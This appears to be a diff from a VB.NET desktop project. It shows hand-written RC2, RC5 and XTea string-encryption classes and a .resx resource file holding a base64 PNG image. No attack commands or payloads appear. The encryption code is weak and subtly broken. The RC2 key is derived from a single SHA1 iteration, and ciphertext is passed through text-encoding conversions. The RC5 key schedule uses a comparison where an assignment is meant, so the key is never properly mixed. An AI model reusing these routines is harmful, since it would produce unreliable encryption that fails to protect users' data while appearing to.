Private Shared key As Byte() 'To hold out secret encryption key!
Private Shared RC2 As New RC2CryptoServiceProvider
Public Shared Function Encrypt(ByVal input As String, ByVal password As String, ByVal salt As String, ByVal length As Integer) As Byte() 'Encrypting function.
Dim input_b As Byte() = System.Text.Encoding.Default.GetBytes(input) 'Get input bytes...
Dim pass_b As Byte() = System.Text.Encoding.Default.GetBytes(password) 'Passsword bytes...
Dim salt_b As Byte() = System.Text.Encoding.Default.GetBytes(salt) 'Geting our input salt bytes...
key = Generate_key(pass_b, salt_b, length) 'Get our secret value out of password and salt, which we will use as your encryption key!
Dim salt_to_add As Byte() = Generate_Salt(5) 'We will append our input bytes here....
Dim input_salt As Byte() = Add_Salt(input_b, salt_to_add) 'Salt bytes + input bytes...
Dim encrypted As Byte() = En(input_salt) 'Encrypt our bytes...
Return encrypted 'Call our encrypt function... (this gives us encrypted "salt bytes + input bytes")
End Function
Public Shared Function Decrypt(ByVal input As String) As Byte() 'Decrypting function.
Dim input_salt As Byte() = System.Text.Encoding.Default.GetBytes(input) 'This is encrypted "Salt bytes + input bytes"...
Dim decrypted As Byte() = De(input_salt) 'Decypts and now we are left with "Salt bytes + input bytes"...
Dim input_b As Byte() = New Byte(decrypted.Length - 5 - 1) {} 'A new byte whose lenght is equal to "input_b" byte array(byte array of the original plain text)....
Array.Copy(decrypted, 5, input_b, 0, decrypted.Length - 5) 'As I know my salt's length is 5 so I can get only the "input_b" from the "salt bytes + input bytes" ..
Return input_b
End Function
Public Shared Function Decrypt_with_salt(ByVal input As String) As Byte() 'Just to show you what is happening..xD
Dim input_salt As Byte() = System.Text.Encoding.Default.GetBytes(input) 'This is encrypted "Salt bytes + input bytes"...
Dim decrypted As Byte() = De(input_salt) 'Decypts and now we are left with "Salt bytes + input bytes"...
Return decrypted
End Function
#Region "Encrypting functions"
Private Shared Function Generate_key(ByVal password As Byte(), ByVal salt As Byte(), ByVal length As Integer) As Byte()
Dim key As New PasswordDeriveBytes(password, salt, "SHA1", 1)
Dim out As Byte() = key.GetBytes(length)
Return out
End Function
Private Shared Function Generate_Salt(ByVal length As Integer) As Byte() 'Generates our random salt using my RNG function...
Dim R As New RNGCryptoServiceProvider
Dim out(length - 1) As Byte
R.GetBytes(out)
Return out
End Function
Private Shared Function Add_Salt(ByVal input As Byte(), ByVal salt As Byte()) As Byte() 'Function to add our salt bytes to input bytes....
Dim input_salt As Byte() = New Byte(input.Length + salt.Length - 1) {} 'To hold both input bytes and salt bytes...
Array.Copy(salt, input_salt, salt.Length) 'Copying our salt bytes in "input_salt" array....
Array.Copy(input, 0, input_salt, salt.Length, input.Length) 'Copying our input bytes too. So now we have "input_salt" as "salt bytes + input bytes"...
Return input_salt 'This is salt bytes + input bytes....
End Function
#End Region
#Region "Main Encryption\Decryption functions"
Public Shared Function En(ByVal input As Byte()) As Byte() 'Original function to encrypt with RC2.
Dim Crypt As ICryptoTransform = RC2.CreateEncryptor(key, RC2.IV)
Dim mem As New MemoryStream
Dim crypto As New CryptoStream(mem, Crypt, CryptoStreamMode.Write)
Dim out As Byte()
crypto.Write(input, 0, input.Length)
crypto.FlushFinalBlock()
out = mem.ToArray
Return out
End Function
Public Shared Function De(ByVal input As Byte()) As Byte() 'Function to decrypt.
Dim Crypt As ICryptoTransform = RC2.CreateDecryptor(key, RC2.IV)
Dim mem As New MemoryStream(input)
Dim crypto As New CryptoStream(mem, Crypt, CryptoStreamMode.Read)
Dim out(input.Length - 1) As Byte
crypto.Read(out, 0, input.Length)
Return out
End Function
#End Region
End Class
Public Class Rc5
Public Function Encrypt(ByVal input As String) As String
Dim r1, r2 As UInteger
Dim m1 As New IO.MemoryStream()
Dim m2 As New IO.MemoryStream()
Dim input_b As Byte() = System.Text.Encoding.Default.GetBytes(input)
m1.Write(input_b, 0, input_b.Length)
m1.Seek(0, IO.SeekOrigin.Begin)
Dim br As New System.IO.BinaryReader(m1)
Dim bw As New System.IO.BinaryWriter(m2)
Dim in_l As Long = input.Length
While in_l > 0
Try
r1 = br.ReadUInt32()
Try
r2 = br.ReadUInt32()
Catch
r2 = 0
End Try
Catch
r1 = 0 : r2 = 0
End Try
Encode(r1, r2, rounds)
bw.Write(r1)
bw.Write(r2)
in_l -= 8
End While
m2.Seek(0, IO.SeekOrigin.Begin)
Return System.Text.Encoding.Default.GetString(m2.ToArray())
End Function
Public Function Decrypt(ByVal input As String) As String
Dim r1, r2 As UInteger
Dim m1, m2 As New IO.MemoryStream()
Dim input_b As Byte() = System.Text.Encoding.Default.GetBytes(input)
m1.Write(input_b, 0, input_b.Length)
m1.Seek(0, IO.SeekOrigin.Begin)
Dim br As New System.IO.BinaryReader(m1)
Dim bw As New System.IO.BinaryWriter(m2)
Dim in_l As Long = input.Length
While in_l > 0
Try
r1 = br.ReadUInt32()
r2 = br.ReadUInt32()
Decode(r1, r2, rounds)
If Not (r1 = 0 AndAlso r2 = 0 AndAlso (in_l - 8 <= 0)) Then
bw.Write(r1)
bw.Write(r2)
End If
If r2 = 0 AndAlso (in_l - 8 <= 0) Then
bw.Write(r1)
End If
in_l -= 8
Catch
End Try
End While
m2.Seek(0, IO.SeekOrigin.Begin)
Return System.Text.Encoding.Default.GetString(m2.ToArray())
End Function
Private s As UInteger()
Private l As UInteger()
Private b As UInteger, u As UInteger, t As UInteger, c As UInteger
Private key As Byte()
Private rounds As Integer
Public Sub New(ByVal password As String, ByVal round As Integer)
key = System.Text.Encoding.Default.GetBytes(password)
rounds = round
b = CUInt(key.Length)
u = 4
t = CUInt(2 * rounds + 2)
c = Math.Max(b, 1) \ u
s = New UInteger(2 * rounds + 1) {}
l = New UInteger(key.Length - 1) {}
GenerateKey(key, rounds)
End Sub
Private Function leftRotate(ByVal x As UInteger, ByVal offset As Integer) As UInteger
Dim t1 As UInteger, t2 As UInteger
t1 = x >> (32 - offset)
t2 = x << offset
Return t1 Or t2
End Function
Private Function RightRotate(ByVal x As UInteger, ByVal offset As Integer) As UInteger
Dim t1 As UInteger, t2 As UInteger
t1 = x << (32 - offset)
t2 = x >> offset
Return t1 Or t2
End Function
Private Sub Encode(ByRef r1 As UInteger, ByRef r2 As UInteger, ByVal rounds As Integer)
r1 = r1 + s(0)
r2 = r2 + s(1)
For i As Integer = 1 To rounds
r1 = leftRotate(r1 Xor r2, CInt(r2)) + s(2 * i)
r2 = leftRotate(r2 Xor r1, CInt(r1)) + s(2 * i + 1)
Next
End Sub
Private Sub Decode(ByRef r1 As UInteger, ByRef r2 As UInteger, ByVal rounds As Integer)
For i As Integer = rounds To 1 Step -1
r2 = (RightRotate(r2 - s(2 * i + 1), CInt(r1))) Xor r1
r1 = (RightRotate(r1 - s(2 * i), CInt(r2))) Xor r2
Next
r2 = r2 - s(1)
r1 = r1 - s(0)
End Sub
Private Sub GenerateKey(ByVal key As Byte(), ByVal rounds As Integer)
Dim P32 As UInteger = UInteger.Parse("b7e15163", System.Globalization.NumberStyles.HexNumber)
Dim Q32 As UInteger = UInteger.Parse("9e3779b9", System.Globalization.NumberStyles.HexNumber)
For i As Integer = key.Length - 1 To 0 Step -1
l(i) = leftRotate(CUInt(i), 8) + key(i)
Next
s(0) = P32
For i As Integer = 1 To t - 1
s(i) = s(i - 1) + Q32
Next
Dim ii As UInteger, jj As UInteger
ii = 0 : jj = 0
Dim x As UInteger, y As UInteger
x = 0 : y = 0
Dim v As UInteger = 3 * Math.Max(t, c)
For counter As Integer = 0 To v
x = s(ii) = leftRotate((s(ii) + x + y), 3)
y = l(jj) = leftRotate((l(jj) + x + y), CInt(x + y))
ii = (ii + 1) Mod t
jj = (jj + 1) Mod c
Next
End Sub
End Class
Public Class XTea
Private Shared f_key As UInteger()
Public Shared Function Encrypt(ByVal input As String, ByVal Pass As String) As String
f_key = FormatKey(Pass)
If input.Length = 0 Then
Throw New ArgumentException("Invalid input length!")
End If
If input.Length Mod 2 <> 0 Then
input += ControlChars.NullChar
End If
Dim dataBytes As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
Dim cipher As String = String.Empty
Dim tempData As UInteger() = New UInteger(1) {}
For i As Integer = 0 To dataBytes.Length - 1 Step 2
tempData(0) = dataBytes(i)
tempData(1) = dataBytes(i + 1)
code(tempData, f_key)
cipher += ConvertUIntToString(tempData(0)) + ConvertUIntToString(tempData(1))
Next
Return cipher
End Function
Public Shared Function Decrypt(ByVal Data As String, ByVal Pass As String) As String
f_key = FormatKey(Pass)
Dim x As Integer = 0
Dim tempData As UInteger() = New UInteger(1) {}
Dim dataBytes As Byte() = New Byte((Data.Length \ 8) * 2 - 1) {}
For i As Integer = 0 To Data.Length - 1 Step 8
tempData(0) = ConvertStringToUInt(Data.Substring(i, 4))
tempData(1) = ConvertStringToUInt(Data.Substring(i + 4, 4))
decode(tempData, f_key)
dataBytes(x) = CByte(tempData(0))
x += 1
dataBytes(x) = CByte(tempData(1))
x += 1
Next
Dim decipheredString As String = System.Text.ASCIIEncoding.ASCII.GetString(dataBytes, 0, dataBytes.Length)
If decipheredString(decipheredString.Length - 1) = ControlChars.NullChar Then
decipheredString = decipheredString.Substring(0, decipheredString.Length - 1)
End If
Return decipheredString
End Function
Private Shared Function FormatKey(ByVal Key As String) As UInteger()
If Key.Length <= 5 Then
Throw New ArgumentException("Key must be between 6 and 16 characters in length")
End If
Key = Key.PadRight(16, " "c).Substring(0, 16)
Dim formattedKey As UInteger() = New UInteger(4) {}
Dim j As Integer = 0
For i As Integer = 0 To Key.Length - 1 Step 4
formattedKey(j) = ConvertStringToUInt(Key.Substring(i, 4))
j += 1
Next
Return formattedKey
End Function
Private Shared Sub code(ByVal v As UInteger(), ByVal k As UInteger())
Dim y As UInteger = v(0)
Dim z As UInteger = v(1)
Dim sum As UInteger = 0
Dim delta As UInteger = &H9E3779B9UI
For i = 0 To 31
y += (z << 4 Xor z >> 5) + z Xor sum + k(sum And 3)
sum += delta
z += (y << 4 Xor y >> 5) + y Xor sum + k(sum >> 11 And 3)
Next
v(0) = y
v(1) = z
End Sub
Private Shared Sub decode(ByVal v As UInteger(), ByVal k As UInteger())
Dim y As UInteger = v(0)
Dim z As UInteger = v(1)
Dim sum As UInteger = &HC6EF3720UI
Dim delta As UInteger = &H9E3779B9UI
For i = 0 To 31
z -= (y << 4 Xor y >> 5) + y Xor sum + k(sum >> 11 And 3)
sum -= delta
y -= (z << 4 Xor z >> 5) + z Xor sum + k(sum And 3)
Next
v(0) = y
v(1) = z
End Sub
Private Shared Function ConvertStringToUInt(ByVal Input As String) As System.UInt32
Dim output As UInt32
output = Convert.ToUInt32(Input(0))
output += (Convert.ToUInt32(Input(1)) << 8)
output += (Convert.ToUInt32(Input(2)) << 16)
output += (Convert.ToUInt32(Input(3)) << 24)
Return output
End Function
Private Shared Function ConvertUIntToString(ByVal Input As System.UInt32) As String
Dim output As New System.Text.StringBuilder()
output.Append(Convert.ToChar(Input And &HFF))
output.Append(Convert.ToChar((Input >> 8) And &HFF))
output.Append(Convert.ToChar((Input >> 16) And &HFF))
output.Append(Convert.ToChar((Input >> 24) And &HFF))
Return output.ToString()
End Function
End Class
End Class
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,390 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="ImageList1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="PictureBox1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
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
